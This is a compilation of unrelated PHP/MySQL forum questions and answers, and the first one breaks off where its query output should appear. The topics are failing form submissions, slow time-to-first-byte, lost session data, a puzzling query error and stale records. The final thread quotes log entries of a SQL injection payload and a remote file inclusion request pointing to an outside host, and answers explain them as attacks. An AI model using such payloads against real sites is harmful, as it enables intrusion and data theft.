I am aware that similar answers were given before, but I feel that my issue is somehow context-specific. My apologies if it turns out to be an exact duplicate, I am very open to suggestions on how to make the post clearer.
I am having a hard time replicating the issue, so I have to "qualitatively" describe the issue.
What I have, is a html form that has to be submitted to a mysql db hosted on AWS. The issue is that the .php that contains the query to write on the db doesn't always work. I know it's a vague depiction of the issue, but what happens is that it works when I test it from the devices I have available, but in my real case scenario (a survey on Mturk) it misses most of the connections.
I wonder if it might be a memory issue, because I keep seeing under "Current Activity" that there are connections opened, even though I specified in my php mysqli_close($conn);
However, the survey on MTurk has been so far published in 1 batch of 9 people at a time, so even assuming the connection aren't being closed...is it a number that might generate issue if all the sql does is posting a form?
I have been suggested to look at show processlist while running the query, and this is the output after submitting the form 3-4 times in a row:
Related
I have a query which involves getting a list of user from a table in sorted order based on at what time it was created. I got the following timing diagram from the chrome developer tools.
You can see that TTFB (time to first byte) is too high.
I am not sure whether it is because of the SQL sort. If that is the reason then how can I reduce this time?
Or is it because of the TTFB. I saw blogs which says that TTFB should be less (< 1sec). But for me it shows >1 sec. Is it because of my query or something else?
I am not sure how can I reduce this time.
I am using angular. Should I use angular to sort the table instead of SQL sort? (many posts say that shouldn't be the issue)
What I want to know is how can I reduce TTFB. Guys! I am actually new to this. It is the task given to me by my team members. I am not sure how can I reduce TTFB time. I saw many posts, but not able to understand properly. What is TTFB. Is it the time taken by the server?
The TTFB is not the time to first byte of the body of the response (i.e., the useful data, such as: json, xml, etc.), but rather the time to first byte of the response received from the server. This byte is the start of the response headers.
For example, if the server sends the headers before doing the hard work (like heavy SQL), you will get a very low TTFB, but it isn't "true".
In your case, TTFB represents the time you spend processing data on the server.
To reduce the TTFB, you need to do the server-side work faster.
I have met the same problem. My project is running on the local server. I checked my php code.
$db = mysqli_connect('localhost', 'root', 'root', 'smart');
I use localhost to connect to my local database. That maybe the cause of the problem which you're describing. You can modify your HOSTS file. Add the line
127.0.0.1 localhost.
TTFB is something that happens behind the scenes. Your browser knows nothing about what happens behind the scenes.
You need to look into what queries are being run and how the website connects to the server.
This article might help understand TTFB, but otherwise you need to dig deeper into your application.
If you are using PHP, try using <?php flush(); ?> after </head> and before </body> or whatever section you want to output quickly (like the header or content). It will output the actually code without waiting for php to end. Don't use this function all the time, or the speed increase won't be noticable.
More info
I would suggest you read this article and focus more on how to optimize the overall response to the user request (either a page, a search result etc.)
A good argument for this is the example they give about using gzip to compress the page. Even though ttfb is faster when you do not compress, the overall experience of the user is worst because it takes longer to download content that is not zipped.
Here is the problem we have been facing for the past few weeks.
1/ Our setup
PHP 5.4 + MySQL
2 dedicated servers, load-balanced
Sessions are replicated between the 2 servers using memcached
3 applications running on these servers :
One custom-developped application, using default php session settings
Another custom-developped application, using different session settings (cookie name, path)
One Wordpress CMS
2/ The problem
The problem occurs on our first application.
Some of our users reported that they sometimes get disconnected after a few minutes (when the session is setup to last 3 hours). It can happen to them several time in the same day, then no disconnection for a few days, but the problem always comes back.
So far the fraction of users impacted is small, but I would like to solve this before it "spreads" to other users.
The problem seems to occur in different places of the application, though we have identified 3 scenarii where most of the errors occur :
Some involve submitting a form ($_SESSION variable is modified)
Other simply involve opening a popup page, with no modification of the session data
We have tried to reproduce the different scenarii described by the users : sometimes we have been able to, but most of the time we don't have any problem, which makes it hard to debug.
Other notes :
The problem is recent, this application had been running for years without any problem.
It doesn't seem to be related to our server load, because the problem still occured during the summer break when our trafic was low
It only affects one session/users at a time: all the other users logged in at the same time don't experience this problem
The problem occured on all the different browsers (IE, Firefox, Chrome)
3/ Technical analysis
When a disconnect occurs, the user is redirected to a page "Your session has expired or you don't have the right to view". When this page is loaded, we get a technical email with a dump of the $_SESSION variable.
When a session expires the normal way, the email we get shows that the $_SESSION variable is empty (normal behavior).
When an unexpected disconnect occurs, what is interesting is that the $_SESSION is not entirely empty : out of the ~20 elements the array contained, only one is left (always the same).
So this would mean the session is not expired, but not enough data is left to "identify" the user, hence the "no rights" page displayed. As a confirmation when this occurs, we can check in memcached that this session still holds some data.
These are the potential problem causes we have identified so far, and what we have done to rule them out :
Memcached indicates between 70 et 80% freespace, so we don't think it is the problem.
We removed Memcached and went back to using a NFS shared directory for session files: the problem actually got worse. This would point to an applicative bug, because NFS being slower to write data, session loss would occur more often.
We have browsed all the different forums (including SO) talking about PHP session data loss, and reviewed our code accordingly. The code base is big, but we have used automated tools and scripts to avoid missing a file.
session_start() is called at the beginning of each page.
exit() is called after each header("Location...")
register_globals is Off
We have tested the possible interractions between our 2 other applications and the problematic one, though they don't share any code, database or session handling. Nothing identified there.
We have analyzed our access logs around the times of the disconnections, to check for behavior patterns : no luck here either.
So we have no idea what causes this problem, as it seems to occur randomly, so my questions are :
The problem could come from our code: did we miss anything to check ? This solutions seems unlikely as the code works most of the time for all our users, but I am still considering it.
The problem could come from another application/process that would "empty" part of the session variable array. We have also reviewed the code from the other applications, but didn't find anything that could cause this.
And if another process is doing this, why would it only empty some sessions and not all of them ?
Thanks for your help.
I don't think you'll get a definitive answer to your question. There are too many probable causes and you haven't shown any code.
Still, my guess is that you have memcached.sess_locking turned Off, or if you have a custom session implementation - that it doesn't implement locking at all.
Eventually, this leads to a race condition between two simultaneous HTTP requests.
My guess is based on the often seen bad advice to turn off locks or free them as soon as possible, in order to achieve higher performance.
If this problem "suddenly" occurred, check what has changed. Did you do any work on the application? If so check committed code (you talked about automated tools so I expect there to be a repository which would allow for accurate finding of code changes).
Did you change anything on the server? Like upgrade software, upgrade/change hardware, make changes to the other two applications ?
One thing that popped to mind, did you check the drives you use for caching? It could be a corrupted part of the file system. Which would explain the random user part.
I couple of things I always to is:
Try to determine the moment of first occurrence as accurate as possible. At my work this occasionally triggers someone saying "oh yeah that might have to do with when I changed/updated/created this or that" so this might help. On the other hand it can sometimes takes days, weeks or more before something gets noticed so start expanding that time-frame if nothing comes up.
You have already a couple of scenario, find the common factor in these. If they don't share any code, stop looking there. If they DO share code search there. Of course sharing (part of) it here might allow us to help you search.
Do an organised search. I usually do the main application check when I am the one working most on the application (or even better when I created it). A colleague will check surrounding applications that might have influence on it. In your case those 2 other applications. Finally our sysadmin will check for newly installed or updated software on the server(s) and he will also check with our network guys if anything changed hardware wise or network related (for other people this could be the hosting provider).
It could be as simple as a WordPress plugin that uses sessions and calls either session_name() or session_id() with a different value, overlapping your custom applications with default session settings.
Since WordPress itself does not use sessions, plugins are often written from the perspective of having free rein with sessions. I just did a search on a WordPress test site and found sessions used in a gallery plugin, a plugin for putting a background image on the page, a shopping cart plugin, and a plugin I was writing that needed to carry an uploaded file from one admin page to another.
I'm getting a really weird error for a query. I'm working on a CMS and the query works perfectly when I'm in the public pages and, until a couple of hours ago, it also worked in the admin pages.
The weird thing is, when I go to login to admin, it's failing due to a reference to an unknown column which isn't actually a part of the query at all, it's a session variable.
The query is;
select * from pages p, templates t, sites s where p.page_title_csv='uber,admin' AND p.page_template_id=t.template_id AND s.site_id=p.page_site_id
The error is;
Page selection query failed coz of:Unknown column 'this_site' in 'where clause'
The column it's referring to ('this_site') is in fact one of my session variables and isn't mentioned in the query at all so how it's causing the error is a total mystery to me. It's not even a column in any of my tables.
I've already checked;
the database is connecting fine
there is definitely a page with a page_title_csv of "uber,admin" (and definitely only one)
I've tried removing the aliases
I've even tried changing the 'like' to '='
Destroying $_SESSION and starting again after closing multiple browsers (Chrome, Firefox, Safari)
Restarting all services (running Windows 7,Apache 2.2.17, PHP 5.3.5 & MySQL 5.5.8)
I know I haven't altered the table structures recently enough to have caused any problems. As I say, it works fine on all of the public pages but not on any of the admin.
The only possible clue I've got left is that $_SESSION['this_site'] has one setting for the public pages while the admin ones have a different value, although why that should matter when it's not even in the query is beyond me (especially when it was fine up until now).
Any help appreciated, it's 3:30am here so giving up for the night before I make things worse... Cheers
(Last ditch is to try a full reboot, if I'm not posting here again within the hour, that didn't work either)
Fixed it!
Marc pointed the way - I started looking further down the line and found that an embedded function in the page was causing the dodgy query because I had changed the way I handled call_user_func() in the page building routines. I'm sure I would have been stuck for much longer if not for the help. (Just writing up my question helped me get it right in my head too, never underestimate the power of writing problems down lol).
Thanks all for viewing/pondering this problem- almost every other problem I've had in the last few months has been solved by just browsing Stackoverflow but this was the first time I had to post. The best site for programmer community help ever and that's partly your fault for reading and responding where you can - thank you one and all!
I would like to inform you about the another problem of the server. When we are updating the records, it updates the records in the database but when we want to access it on the browser through the frontend application of php files it is not displaying the updated records immediately. It takes the time of 15-20 minutes or more or sometimes we closes the browser and open the another browser then the updated records display there. I have already deleted the browser cache but the problem is still remains. I have checked this in the different different broswers like IE 6.0,7.0, chrome, safari, mozilla but unable to find the solution.
please suggest me what is the problem with the server?
please check this url :
http://www.nicee.org/trial/view.php
To expand on my comment slightly, I should point out that PHP isn't really something I'm familiar with, just the problem described sounded familiar.
To pseudo code it:
-- On Update
Open Transaction with Database
Run SQL command(s)
Close/commit transaction
If you don't do this final step (i.e. commiting the transaction & closing it), then it will remain open and will lock this table (depending on how your DB is set up). You must ensure that it is always finished (rolled back if there is an error too).
From a quick google, this may be useful:
http://www.devarticles.com/c/a/MySQL/Using-Transactions-with-MySQL-4.0-and-PHP/
In cPanel's Analog Stats statistics module, I've noticed countless requests to connect to the following example:
/?x=19&y=15
The numbers are random, but its always setting x and y variables.
Another category of mysterious requests:
/?id=http://nic.bupt.edu.cn/media/j1.txt??
There are other attempts at injections in the request log that have straight sql written into them as well. Example:
/jobs/jobinfo.php?id=-999.9 UNION ALL SELECT 1,(SELECT concat(0x7e,0x27,count(table_name),0x27,0x7e) FROM information_schema.tables WHERE table_schema=0x73636363726F6F745F7075626C6963),3,4,5,6,7,8,9,10,11,12,13--
It looks like they are all reaching a 404, but I'm still wondering about the intent behind these.
I know this is vague, but maybe someone knows that this is normal while using cPanel & phpMyAdmin services. Also, there was a search box installed on the site which could be the reason.
Any suggestions as to what all these are?
EDIT
I pulled all of these out of the request lists and sliced off the txt they are pointing to. Maybe this provides more help as to what kind of attacks these are.
http://www.diakonia-jkt.sch.id
http://www.nationalmedecine.com
http://muzykologia.lublin.pl
http://www.abi.co.uk
http://stul.netsolutions.cz
http://jack.tiscali.it
http://solid.go.ro
http://nic.bupt.edu.cn
http://www.europeanforumcyprus.eu
http://www.nationalmedecine.com
Also, in phpMyAdmin status section, it shows ~900 change db queries per hour. Can a user with only select privs do any real damage to the db? There is no personal info on it, but these SOB's are clogging up the bandwidth.
These (except for the top one) are automated(?) attempts to find weaknesses in the code;
/?id=http://nic.bupt.edu.cn/media/j1.txt??
Tries to import a PHP page from another server. A well-known problem especially with older PHP software.
The "UNION ALL SELECT 1" is an obvious SQL insertion attempt. schema ID 0x73636363726F6F745F7075626C6963 decodes to "scccroot_public". I'm not sure for which database this is. But they are trying to take control of it, that's sure.
The x=19&y=15 looks like you have a form on your site with method=get and an input type=image. Do you log referrer?
/?x=19&y=15 could represent an <input type="image" />
/?id=http://nic.bupt.edu.cn/media/j1.txt?? looks like some sort of cross-site stuff, a useless one because it loads a plain text file O_O